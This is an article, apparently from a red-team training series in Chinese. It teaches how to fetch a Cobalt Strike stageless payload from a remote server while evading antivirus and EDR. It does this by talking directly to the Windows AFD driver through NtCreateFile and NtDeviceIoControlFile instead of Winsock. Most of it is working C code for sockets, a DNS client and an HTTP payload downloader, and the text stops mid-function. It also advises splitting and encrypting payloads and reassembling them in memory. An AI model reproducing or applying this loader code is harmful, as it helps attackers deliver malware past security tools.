前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队免杀培训第二章-使用系统调用http 协议下载恶意载荷

红队免杀培训第二章-使用系统调用http 协议下载恶意载荷

作者头像
Gamma实验室
发布2022-03-29 16:55:56
8560
发布2022-03-29 16:55:56
举报
文章被收录于专栏:Gamma安全实验室Gamma安全实验室

前言

从杀软的行为分析来看,就拿cs的通信协议来讲,stage 的载荷在行为上是明显比stageless载荷多很多的,其中不免一些通信协议的特征,分析过的都知道,stage只是个前置载荷,后续会下更大的功能更全的载荷,因为之前做免杀卡巴的时候就注意到了,静态全免,但是在下回来更大的载荷的时候爆毒了,后面分析,卡巴对cs的通信协议进行拦截,从云沙箱的检测来看,stage 爆毒数明显是比stageless多的。

所以我个人建议,为了彻底过静态(加载器和shellcode分离的方式),把stageless放在远程服务器,甚至可以小心机一点,把载荷分成几个小的stageless加密起来,然后在内存中重组就行,那么涉及到通信协议,我们如何吧stageless下载回本地,根据现在的主流看法,http协议和https协议是最适合的,因为更贴近正常的用户使用的协议,不过考虑到杀软和edr对windows api的监控,所以这里采用系统调用的方式来实现http通信功能。

原理和准备

Winsock是一种能使Windows程序通过任意网络传输协议发送数据的API,windows 的API 一般是由更底层的api或多个api封装而成的函数接口,我们要绕过windsock 直接与 AFD 驱动程序进行通信的话,我们就需要探查Winsock中具体哪些函数api是起到作用的,

我们发现,通过NtCreateFile和NtDeviceIoControlFile就能直接与 AFD 驱动程序进行通信。

1.首先通信需要创建一个socket,我们调用NtCreateFile来打开\Device\Afd\Endpoint对象,socket属性(地址族、协议类型等)是使用数据结构体来指定的,该结构作为“扩展属性”传递给NtCreateFile 函数。

创建socket示例代码:(ipv4 TCP):

DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct *pSocketData)
{
    IO_STATUS_BLOCK IoStatusBlock;
    HANDLE hEvent = NULL;
    HANDLE hSocket = NULL;
    OBJECT_ATTRIBUTES ObjectAttributes;
    NTSockets_SocketDataStruct SocketData;
    UNICODE_STRING ObjectFilePath;
    DWORD dwStatus = 0;
    BYTE bExtendedAttributes[] =
{
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};

    //创建状态事件
    hEvent = CreateEvent(NULL, 0, 0, NULL);
    if(hEvent == NULL)
{
        return 1;
}

    //设置 afd 端点路径
    memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
    ObjectFilePath.Buffer = L"\\Device\\Afd\\Endpoint";
    ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
    ObjectFilePath.MaximumLength = ObjectFilePath.Length;

    // 初始化对象属性
    memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
    ObjectAttributes.Length = sizeof(ObjectAttributes);
    ObjectAttributes.ObjectName = &ObjectFilePath;
    ObjectAttributes.Attributes = 0x40;

    // 创建套接字句柄
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
    if(dwStatus != 0)
{
        CloseHandle(hEvent);
        return 1;
}
    // 初始化 SocketData 对象
    memset((void*)&SocketData, 0, sizeof(SocketData));
    SocketData.hSocket = hSocket;
    SocketData.hStatusEvent = hEvent;

    // 存储套接字数据
    memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));
    return 0;
}

2.有了socket,该使用NtDeviceIoControlFile与 AFD 驱动程序进行通信:

WORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct *pSocketData, DWORD dwIoControlCode, BYTE *pData, DWORD dwLength, DWORD *pdwOutputInformation)
{
    IO_STATUS_BLOCK IoStatusBlock;
    DWORD dwStatus = 0;
    BYTE bOutputBlock[0x10];
    // 重置状态事件
    ResetEvent(pSocketData->hStatusEvent);
    // 发送设备控制请求
    IoStatusBlock.Status = 0;
    IoStatusBlock.Information = NULL;
    dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));
    if(dwStatus == STATUS_PENDING)
{
        // 响应挂起 - 等待事件
        if(WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0)
        {
            return 1;
        }

        // 完成 - 获取最终状态码
        dwStatus = IoStatusBlock.Status;
}
    // 检查错误
    if(dwStatus != 0)
{
        return 1;
}
    if(pdwOutputInformation != NULL)
{
        // 存储输出信息
        *pdwOutputInformation = (DWORD)IoStatusBlock.Information;
}
    return 0;
}

3.使用相应的dwIoControlCode值调用NTSockets_SocketDriverMsg来执行我们想要执行的操作 - 连接、发送、接收等,如果事件对象返回一个挂起的状态代码,则等待函数完成,完成后,我们可以使用CloseHandle(或NtClose)关闭socket。

例如关闭socket的函数代码示例:

DWORD NTSockets_CloseSocket(NTSockets_SocketDataStruct *pSocketData)
{
CloseHandle(pSocketData->hSocket);
CloseHandle(pSocketData->hStatusEvent);
return 0;
}

一个正常socket通信还需要以下功能

NTSockets_CreateTcpSocket - 创建 TCP 套接字(相当于socket())NTSockets_ConvertIP - 将 IP 字符串转换为二进制地址(相当于to inet_addr () )NTSockets_Swap16BitByteOrder - 将 16 位整数转换为/从网络字节顺序(相当于htons() / ntohs())NTSockets_Connect - 连接到远程主机(相当于connect())NTSockets_Send - 将数据发送到套接字(相当于发送()- 注意:在发送完所有字节后,该函数不会返回)NTSockets_Recv - 从套接字接收请求的字节数(相当于recv() - 注意:在接收到所有字节之前,该函数不会返回)NTSockets_CloseSocket - 关闭套接字(相当于closesocket() )

实际代码示例

#include <stdio.h>
#include <windows.h>
struct IO_STATUS_BLOCK
{
union
{
        DWORD Status;
        PVOID Pointer;
};
DWORD* Information;
};
struct UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
};
struct OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
};
struct NTSockets_ConnectDataStruct
{
DWORD dwUnknown1;
DWORD dwUnknown2;
DWORD dwUnknown3;
sockaddr_in SockAddr;
};
struct NTSockets_BindDataStruct
{
DWORD dwUnknown1;
sockaddr_in SockAddr;
};

struct NTSockets_DataBufferStruct
{
DWORD dwDataLength;
BYTE* pData;
};

struct NTSockets_SendRecvDataStruct
{
NTSockets_DataBufferStruct* pBufferList;
DWORD dwBufferCount;
DWORD dwUnknown1;
DWORD dwUnknown2;
};

struct NTSockets_SocketDataStruct
{
HANDLE hSocket;
HANDLE hStatusEvent;
};

struct DNSClient_HeaderStruct
{
WORD wTransID;
WORD wFlags;
WORD wQuestionCount;
WORD wAnswerRecordCount;
WORD wAuthorityRecordCount;
WORD wAdditionalRecordCount;
};

struct DNSClient_RequestQueryDetailsStruct
{
WORD wType;
WORD wClass;
};

struct DNSClient_ResponseAnswerHeaderStruct
{
WORD wName;
WORD wType;
WORD wClass;
WORD wTTL[2];
WORD wLength;
};

DWORD(WINAPI* NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, IO_STATUS_BLOCK* IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength);
DWORD(WINAPI* NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, IO_STATUS_BLOCK* IoStatusBlock, LARGE_INTEGER* AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);

DWORD NTSockets_CreateTcpSocket(NTSockets_SocketDataStruct* pSocketData)
{
IO_STATUS_BLOCK IoStatusBlock;
HANDLE hEvent = NULL;
HANDLE hSocket = NULL;
OBJECT_ATTRIBUTES ObjectAttributes;
NTSockets_SocketDataStruct SocketData;
UNICODE_STRING ObjectFilePath;
DWORD dwStatus = 0;
BYTE bExtendedAttributes[] =
{
        0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,
        0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE
};
// 创建状态事件
hEvent = CreateEvent(NULL, 0, 0, NULL);
if (hEvent == NULL)
{
        return 1;
}
// 设置 afd 端点路径
memset((void*)&ObjectFilePath, 0, sizeof(ObjectFilePath));
ObjectFilePath.Buffer = (PWSTR)"\\Device\\Afd\\Endpoint";
ObjectFilePath.Length = wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);
ObjectFilePath.MaximumLength = ObjectFilePath.Length;

// 初始化对象属性
memset((void*)&ObjectAttributes, 0, sizeof(ObjectAttributes));
ObjectAttributes.Length = sizeof(ObjectAttributes);
ObjectAttributes.ObjectName = &ObjectFilePath;
ObjectAttributes.Attributes = 0x40;

// 创建套接字句柄
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtCreateFile(&hSocket, 0xC0140000, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));
if (dwStatus != 0)
{
        CloseHandle(hEvent);
        return 1;
}
// 初始化 SocketData 对象
memset((void*)&SocketData, 0, sizeof(SocketData));
SocketData.hSocket = hSocket;
SocketData.hStatusEvent = hEvent;
// 存储套接字数据
memcpy((void*)pSocketData, (void*)&SocketData, sizeof(SocketData));
return 0;
}

DWORD NTSockets_SocketDriverMsg(NTSockets_SocketDataStruct* pSocketData, DWORD dwIoControlCode, BYTE* pData, DWORD dwLength, DWORD* pdwOutputInformation)
{
IO_STATUS_BLOCK IoStatusBlock;
DWORD dwStatus = 0;
BYTE bOutputBlock[0x10];
// 重置状态事件
ResetEvent(pSocketData->hStatusEvent);
//发送设备控制请求
IoStatusBlock.Status = 0;
IoStatusBlock.Information = NULL;
dwStatus = NtDeviceIoControlFile(pSocketData->hSocket, pSocketData->hStatusEvent, NULL, NULL, &IoStatusBlock, dwIoControlCode, (void*)pData, dwLength, bOutputBlock, sizeof(bOutputBlock));
if (dwStatus == STATUS_PENDING)
{
        // 响应挂起 - 等待事件
        if (WaitForSingleObject(pSocketData->hStatusEvent, INFINITE) != WAIT_OBJECT_0)
        {
            return 1;
        }
        // 完成 - 获取最终状态码
        dwStatus = IoStatusBlock.Status;
}
if (dwStatus != 0)
{
        return 1;
}
if (pdwOutputInformation != NULL)
{
        // 存储输出信息
        *pdwOutputInformation = (DWORD)IoStatusBlock.Information;
}
return 0;
}

DWORD NTSockets_ConvertIP(char* pIP, DWORD* pdwAddr)
{
char szCurrOctet[8];
DWORD dwCurrOctetIndex = 0;
DWORD dwCompletedOctetCount = 0;
char* pCurrByte = NULL;
DWORD dwEndOfOctet = 0;
DWORD dwEndOfString = 0;
DWORD dwOctet = 0;
BYTE bOctets[4];
DWORD dwAddr = 0;
// 读取 IP 字符串
memset(szCurrOctet, 0, sizeof(szCurrOctet));
dwCurrOctetIndex = 0;
pCurrByte = pIP;
for (;;)
{
        // 处理当前字符
        dwEndOfOctet = 0;
        if (*pCurrByte == '\0')
        {
            //字符串结尾
            dwEndOfOctet = 1;
            dwEndOfString = 1;
        }
        else if (*pCurrByte == '.')
        {
            // 八进制结束
            dwEndOfOctet = 1;
        }
        else
        {
            // 确保这个字符是一个数字
            if (*pCurrByte >= '0' && *pCurrByte <= '9')
            {
                if (dwCurrOctetIndex > 2)
                {
                    // 无效IP
                    return 1;
                }

                // 存储当前字符
                szCurrOctet[dwCurrOctetIndex] = *pCurrByte;
                dwCurrOctetIndex++;
            }
            else
            {
                return 1;
            }
        }

        // 检查当前八位字节是否完整
        if (dwEndOfOctet != 0)
        {
            if (dwCurrOctetIndex == 0)
            {
                return 1;
            }
            // 将八位字节字符串转换为整数
            dwOctet = atoi(szCurrOctet);
            if (dwOctet > 255)
            {
                // invalid ip
                return 1;
            }
            // 已经读了 4 个八位字节
            if (dwCompletedOctetCount >= 4)
            {
                return 1;
            }

            // 存储当前八位字节
            bOctets[dwCompletedOctetCount] = (BYTE)dwOctet;

            // 当前八位字节完成
            dwCompletedOctetCount++;
            if (dwEndOfString != 0)
            {
                break;
            }

            //重置 szCurrOctet 字符串
            memset(szCurrOctet, 0, sizeof(szCurrOctet));
            dwCurrOctetIndex = 0;
        }
        // 移动到下一个字符
        pCurrByte++;
}

// 确保找到 4 个八位字节
if (dwCompletedOctetCount != 4)
{
        return 1;
}
memcpy((void*)&dwAddr, bOctets, 4);
*pdwAddr = dwAddr;
return 0;
}

WORD NTSockets_Swap16BitByteOrder(WORD wValue)
{
WORD wNewValue = 0;
// 交换字节顺序——假设我们在基于 x86 上运行
*(BYTE*)((DWORD)&wNewValue + 0) = *(BYTE*)((DWORD)&wValue + 1);
*(BYTE*)((DWORD)&wNewValue + 1) = *(BYTE*)((DWORD)&wValue + 0);
return wNewValue;
}

DWORD NTSockets_Connect(NTSockets_SocketDataStruct* pSocketData, char* pIP, WORD wPort)
{
NTSockets_BindDataStruct NTSockets_BindData;
NTSockets_ConnectDataStruct NTSockets_ConnectData;
WORD wConnectPort = 0;
DWORD dwConnectAddr = 0;
// 绑定到本地端口
memset((void*)&NTSockets_BindData, 0, sizeof(NTSockets_BindData));
NTSockets_BindData.dwUnknown1 = 2;
NTSockets_BindData.SockAddr.sin_family = AF_INET;
NTSockets_BindData.SockAddr.sin_addr.s_addr = INADDR_ANY;
NTSockets_BindData.SockAddr.sin_port = 0;
if (NTSockets_SocketDriverMsg(pSocketData, 0x00012003, (BYTE*)&NTSockets_BindData, sizeof(NTSockets_BindData), NULL) != 0)
{
        return 1;
}
// 读取连接ip
if (NTSockets_ConvertIP(pIP, &dwConnectAddr) != 0)
{
        return 1;
}
// 对连接端口使用网络字节顺序
wConnectPort = NTSockets_Swap16BitByteOrder(wPort);

// 连接到远程端口
memset((void*)&NTSockets_ConnectData, 0, sizeof(NTSockets_ConnectData));
NTSockets_ConnectData.dwUnknown1 = 0;
NTSockets_ConnectData.dwUnknown2 = 0;
NTSockets_ConnectData.dwUnknown3 = 0;
NTSockets_ConnectData.SockAddr.sin_family = AF_INET;
NTSockets_ConnectData.SockAddr.sin_addr.s_addr = dwConnectAddr;
NTSockets_ConnectData.SockAddr.sin_port = wConnectPort;
if (NTSockets_SocketDriverMsg(pSocketData, 0x00012007, (BYTE*)&NTSockets_ConnectData, sizeof(NTSockets_ConnectData), NULL) != 0)
{
        return 1;
}
return 0;
}

DWORD NTSockets_Send(NTSockets_SocketDataStruct* pSocketData, BYTE* pData, DWORD dwLength)
{
NTSockets_SendRecvDataStruct NTSockets_SendRecvData;
NTSockets_DataBufferStruct NTSockets_DataBuffer;
DWORD dwBytesSent = 0;
BYTE* pCurrSendPtr = NULL;
DWORD dwBytesRemaining = 0;

// 设置初始值
pCurrSendPtr = pData;
dwBytesRemaining = dwLength;

// 发送数据
for (;;)
{
        if (dwBytesRemaining == 0)
        {
            break;
        }

        // 设置数据缓冲区值
        memset((void*)&NTSockets_DataBuffer, 0, sizeof(NTSockets_DataBuffer));
        NTSockets_DataBuffer.dwDataLength = dwBytesRemaining;
        NTSockets_DataBuffer.pData = pCurrSendPtr;

        // 发送当前块
        memset((void*)&NTSockets_SendRecvData, 0, sizeof(NTSockets_SendRecvData));
        NTSockets_SendRecvData.pBufferList = &NTSockets_DataBuffer;
        NTSockets_SendRecvData.dwBufferCount = 1;
        NTSockets_SendRecvData.dwUnknown1 = 0;
        NTSockets_SendRecvData.dwUnknown2 = 0;
        if (NTSockets_SocketDriverMsg(pSocketData, 0x0001201F, (BYTE*)&NTSockets_SendRecvData, sizeof(NTSockets_SendRecvData), &dwBytesSent) != 0)
        {
            return 1;
        }
        if (dwBytesSent == 0)
        {
            // 套接字断开连接
            return 1;
        }
        pCurrSendPtr += dwBytesSent;
        dwBytesRemaining -= dwBytesSent;
}

return 0;
}

DWORD NTSockets_Recv(NTSockets_SocketDataStruct* pSocketData, BYTE* pData, DWORD dwLength)
{
NTSockets_SendRecvDataStruct NTSockets_SendRecvData;
NTSockets_DataBufferStruct NTSockets_DataBuffer;
DWORD dwBytesReceived = 0;
BYTE* pCurrRecvPtr = NULL;
DWORD dwBytesRemaining = 0;

//设置初始值
pCurrRecvPtr = pData;
dwBytesRemaining = dwLength;

//发送数据
for (;;)
{
        if (dwBytesRemaining == 0)
        {
            break;
        }
        // 设置数据缓冲区值
        memset((void*)&NTSockets_DataBuffer, 0, sizeof(NTSockets_DataBuffer));
        NTSockets_DataBuffer.dwDataLength = dwBytesRemaining;
        NTSockets_DataBuffer.pData = pCurrRecvPtr;

        // 接收当前块
        memset((void*)&NTSockets_SendRecvData, 0, sizeof(NTSockets_SendRecvData));
        NTSockets_SendRecvData.pBufferList = &NTSockets_DataBuffer;
        NTSockets_SendRecvData.dwBufferCount = 1;
        NTSockets_SendRecvData.dwUnknown1 = 0;
        NTSockets_SendRecvData.dwUnknown2 = 0x20;
        if (NTSockets_SocketDriverMsg(pSocketData, 0x00012017, (BYTE*)&NTSockets_SendRecvData, sizeof(NTSockets_SendRecvData), &dwBytesReceived) != 0)
        {
            return 1;
        }
        if (dwBytesReceived == 0)
        {
            // 套接字断开连接
            return 1;
        }
        pCurrRecvPtr += dwBytesReceived;
        dwBytesRemaining -= dwBytesReceived;
}

return 0;
}

DWORD NTSockets_CloseSocket(NTSockets_SocketDataStruct* pSocketData)
{
CloseHandle(pSocketData->hSocket);
CloseHandle(pSocketData->hStatusEvent);
return 0;
}

DWORD DNSClient_Query(char* pDNSClient_IP, char* pTargetHost, char* pOutput, DWORD dwOutputMaxLength)
{
NTSockets_SocketDataStruct SocketData;
DNSClient_HeaderStruct DNSClient_RequestHeader;
DNSClient_RequestQueryDetailsStruct DNSClient_RequestQueryDetails;
DNSClient_HeaderStruct* pDNSClient_ResponseHeader = NULL;
DNSClient_ResponseAnswerHeaderStruct* pDNSClient_ResponseAnswerHeader = NULL;
DWORD dwIpAddrIndex = 0;
DWORD dwFoundRecord = 0;
DWORD dwCurrAnswerEntryStartIndex = 0;
DWORD dwHostLength = 0;
DWORD dwCurrLabelLength = 0;
WORD wRequestLength = 0;
WORD wResponseLength = 0;
WORD wBlockLength = 0;
WORD wAnswerCount = 0;
BYTE bIP[4];
BYTE bResponseBuffer[4096];
char szConvertedHost[1024];
char* pCurrDot = NULL;
char szIP[32];

// 将目标主机名转换为 dns 格式
memset(szConvertedHost, 0, sizeof(szConvertedHost));
_snprintf(szConvertedHost, sizeof(szConvertedHost) - 1, ".%s", pTargetHost);
dwHostLength = strlen(szConvertedHost) + 1;
for (DWORD i = 0; i < dwHostLength; i++)
{
        // 处理域标签
        if (szConvertedHost[i] == '.' || szConvertedHost[i] == '\0')
        {
            // 检查是否存在先前的分隔符
            if (pCurrDot != NULL)
            {
                // 计算当前标签长度
                dwCurrLabelLength = (DWORD)(&szConvertedHost[i] - pCurrDot);
                dwCurrLabelLength--;
                if (dwCurrLabelLength == 0 || dwCurrLabelLength >= 64)
                {
                    return 1;
                }

                //插入标签长度
                *pCurrDot = (char)dwCurrLabelLength;
            }

            // 存储当前点位置
            pCurrDot = &szConvertedHost[i];
        }
}

// 创建套接字句柄
if (NTSockets_CreateTcpSocket(&SocketData) != 0)
{
        return 1;
}

// 连接到 DNS 服务器
if (NTSockets_Connect(&SocketData, pDNSClient_IP, 53) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//计算请求长度
wRequestLength = sizeof(DNSClient_HeaderStruct) + dwHostLength + sizeof(DNSClient_RequestQueryDetails);
wBlockLength = NTSockets_Swap16BitByteOrder(wRequestLength);

// 设置请求头详细信息
memset((void*)&DNSClient_RequestHeader, 0, sizeof(DNSClient_RequestHeader));
DNSClient_RequestHeader.wTransID = NTSockets_Swap16BitByteOrder(1);
DNSClient_RequestHeader.wFlags = NTSockets_Swap16BitByteOrder(0x100);
DNSClient_RequestHeader.wQuestionCount = NTSockets_Swap16BitByteOrder(1);

// A 类 DNS 请求
memset((void*)&DNSClient_RequestQueryDetails, 0, sizeof(DNSClient_RequestQueryDetails));
DNSClient_RequestQueryDetails.wType = NTSockets_Swap16BitByteOrder(1);
DNSClient_RequestQueryDetails.wClass = NTSockets_Swap16BitByteOrder(1);

// 发送请求长度
if (NTSockets_Send(&SocketData, (BYTE*)&wBlockLength, sizeof(WORD)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 发送请求头
if (NTSockets_Send(&SocketData, (BYTE*)&DNSClient_RequestHeader, sizeof(DNSClient_RequestHeader)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//发送主机名
if (NTSockets_Send(&SocketData, (BYTE*)szConvertedHost, dwHostLength) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 发送主机查询详情
if (NTSockets_Send(&SocketData, (BYTE*)&DNSClient_RequestQueryDetails, sizeof(DNSClient_RequestQueryDetails)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//接收响应长度
if (NTSockets_Recv(&SocketData, (BYTE*)&wBlockLength, sizeof(WORD)) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 交换字节顺序
wResponseLength = NTSockets_Swap16BitByteOrder(wBlockLength);

// 验证响应长度
if (wResponseLength < sizeof(DNSClient_HeaderStruct) || wResponseLength > sizeof(bResponseBuffer))
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 接收响应数据
memset((void*)bResponseBuffer, 0, sizeof(bResponseBuffer));
if (NTSockets_Recv(&SocketData, bResponseBuffer, wResponseLength) != 0)
{
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

//设置响应头 ptr
pDNSClient_ResponseHeader = (DNSClient_HeaderStruct*)bResponseBuffer;

//检查标志(期望响应,没有错误)
if (pDNSClient_ResponseHeader->wFlags != NTSockets_Swap16BitByteOrder(0x8180))
{
        // error
        NTSockets_CloseSocket(&SocketData);

        return 1;
}

// 验证问题计数
if (pDNSClient_ResponseHeader->wQuestionCount != NTSockets_Swap16BitByteOrder(1))
{
        // error
        NTSockets_CloseSocket(&SocketData);

        return 1;
}

// 获取响应答案计数
wAnswerCount = NTSockets_Swap16BitByteOrder(pDNSClient_ResponseHeader->wAnswerRecordCount);

// 阅读 DNS 响应答案
dwCurrAnswerEntryStartIndex = wRequestLength;
for (int i = 0; i < (DWORD)wAnswerCount; i++)
{
        // 验证开始索引
        if ((dwCurrAnswerEntryStartIndex + sizeof(DNSClient_ResponseAnswerHeaderStruct)) > (DWORD)wResponseLength)
        {
            // error
            NTSockets_CloseSocket(&SocketData);

            return 1;
        }

        // 获取当前响应答案标题 ptr
        pDNSClient_ResponseAnswerHeader = (DNSClient_ResponseAnswerHeaderStruct*)&bResponseBuffer[dwCurrAnswerEntryStartIndex];

        //检查这是否是 A 类记录
        if (pDNSClient_ResponseAnswerHeader->wType == NTSockets_Swap16BitByteOrder(1) && pDNSClient_ResponseAnswerHeader->wClass == NTSockets_Swap16BitByteOrder(1))
        {
            // 确保值长度为 4(ipv4 地址)
            if (pDNSClient_ResponseAnswerHeader->wLength != NTSockets_Swap16BitByteOrder(4))
            {
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }

            // 验证 ip 地址索引
            dwIpAddrIndex = dwCurrAnswerEntryStartIndex + sizeof(DNSClient_ResponseAnswerHeaderStruct);
            if ((dwIpAddrIndex + 4) > (DWORD)wResponseLength)
            {
                NTSockets_CloseSocket(&SocketData);
                return 1;
            }

            // 存储IP地址
            memcpy((void*)bIP, (void*)&bResponseBuffer[dwIpAddrIndex], 4);
            dwFoundRecord = 1;
            break;
        }
        else
        {
            // 检查下一个条目
            dwCurrAnswerEntryStartIndex += sizeof(DNSClient_ResponseAnswerHeaderStruct);
            dwCurrAnswerEntryStartIndex += NTSockets_Swap16BitByteOrder(pDNSClient_ResponseAnswerHeader->wLength);
        }
}

// 关闭套接字
NTSockets_CloseSocket(&SocketData);

// 确保找到有效记录
if (dwFoundRecord == 0)
{
        return 1;
}
//生成IP字符串
memset(szIP, 0, sizeof(szIP));
_snprintf(szIP, sizeof(szIP) - 1, "%u.%u.%u.%u", bIP[0], bIP[1], bIP[2], bIP[3]);

// 存储值
strncpy(pOutput, szIP, dwOutputMaxLength);
return 0;
}

DWORD DownloadFile(char* pURL, BYTE** pOutput, DWORD* pdwOutputLength)
{
char szProtocol[16];
char szHostName[256];
char szRequestHeader[2048];
char szResponseHeader[2048];
char* pStartOfHostName = NULL;
char* pEndOfHostName = NULL;
char* pRequestPath = NULL;
DWORD dwAddr = 0;
char* pHostNamePort = NULL;
DWORD dwPort = 0;
char szResolvedIP[32];
NTSockets_SocketDataStruct SocketData;
DWORD dwFoundEndOfResponseHeader = 0;
char szEndOfResponseHeader[8];
char szResponseSuccessStatus[32];
char szContentLengthParamName[16];
char* pContentLength = NULL;
char* pEndOfContentLength = NULL;
DWORD dwOutputLength = 0;
DWORD dwOutputAllocLength = 0;
BYTE* pOutputBuffer = NULL;
BYTE* pNewOutputBuffer = NULL;
BYTE bCurrByte = 0;
//确保网址以“http://”开头
memset(szProtocol, 0, sizeof(szProtocol));
strncpy(szProtocol, "http://", sizeof(szProtocol) - 1);
if (strncmp(pURL, szProtocol, strlen(szProtocol)) != 0)
{
        printf("Error: Invalid protocol\n");
        return 1;
}

// 复制主机名
pStartOfHostName = pURL;
pStartOfHostName += strlen(szProtocol);
memset(szHostName, 0, sizeof(szHostName));
strncpy(szHostName, pStartOfHostName, sizeof(szHostName) - 1);

// 从主机名中删除请求路径
pEndOfHostName = strstr(szHostName, "/");
if (pEndOfHostName == NULL)
{
        printf("Error: Invalid URL\n");
        return 1;
}
*pEndOfHostName = '\0';
// 检查主机名是否包含自定义端口号
pHostNamePort = strstr(szHostName, ":");
if (pHostNamePort == NULL)
{
        // 未指定端口 - 使用端口 80
        dwPort = 80;
}
else
{
        // 终止字符串
        *pHostNamePort = '\0';
        // 提取端口号
        pHostNamePort++;
        dwPort = atoi(pHostNamePort);
        if (dwPort == 0)
        {
            printf("Error: Invalid URL\n");
            return 1;
        }
}
// 获取请求路径的开始
pRequestPath = pStartOfHostName;
pRequestPath += strlen(szHostName);

// 检查主机名是否是有效的 ipv4 地址
memset(szResolvedIP, 0, sizeof(szResolvedIP));
if (NTSockets_ConvertIP(szHostName, &dwAddr) != 0)
{
        // 不是 ipv4 - 尝试使用 DNS 解析主机
        if (DNSClient_Query((char *)"114.114.114.114", szHostName, szResolvedIP, sizeof(szResolvedIP) - 1) != 0)
        {
            // error
            printf("Error: Failed to resolve host name\n");
            return 1;
        }
}
else
{
        // 复制原始ip
        strncpy(szResolvedIP, szHostName, sizeof(szResolvedIP) - 1);
}

// 创建套接字句柄
if (NTSockets_CreateTcpSocket(&SocketData) != 0)
{
        // error
        printf("Error: Failed to create TCP socket\n");

        return 1;
}

// 连接到服务器
if (NTSockets_Connect(&SocketData, szResolvedIP, (WORD)dwPort) != 0)
{
        printf("Error: Failed to connect to server\n");
        NTSockets_CloseSocket(&SocketData);
        return 1;
}

// 发送 HTTP 请求
memset(szRequestHeader, 0, sizeof(szRequestHeader));
_snprintf(szRequestHeader, sizeof(szRequestHeader) - 1, "GET %s HTTP/1.0\r\nHost: %s\r\n\r\n", pRequestPath, szHostName);
if (NTSockets_Send(&SocketData, (BYTE*)szRequestHeader, strlen(szRequestHeader)) != 0)
{
        printf("Error: Failed to send data to server\n");
        NTSockets_CloseSocket(&SocketData);
        return 1;
}
printf("Sent HTTP request:\n%s", szRequestHeader);
// 获取响应头
memset(szEndOfResponseHeader, 0, sizeof(szEndOfResponseHeader));
strncpy(szEndOfResponseHeader, "\r\n\r\n", sizeof(szEndOfResponseHeader) - 1);
memset(szResponseHeader, 0, sizeof(szResponseHeader));
for (DWORD i = 0; i < sizeof(szResponseHeader) - 1; i++)
{
        // 获取下一个字节
        if (NTSockets_Recv(&SocketData, (BYTE*)&szResponseHeader[i], 1) != 0)
        {
            printf("Error: Failed to read HTTP response header\n");
            NTSockets_CloseSocket(&SocketData);
            return 1;
        }

        // 检查这是否是响应头的结尾
        if ((i + 1) >= strlen(szEndOfResponseHeader))
        {
            if (strncmp(&szResponseHeader[(i + 1) - strlen(szEndOfResponseHeader)], szEndOfResponseHeader, strlen(szEndOfResponseHeader)) == 0)
            {

                // 找到响应头的结尾
                dwFoundEndOfResponseHeader = 1;
                break;
            }
        }
}

// 确保找到响应头的结尾
if (dwFoundEndOfResponseHeader == 0)
{
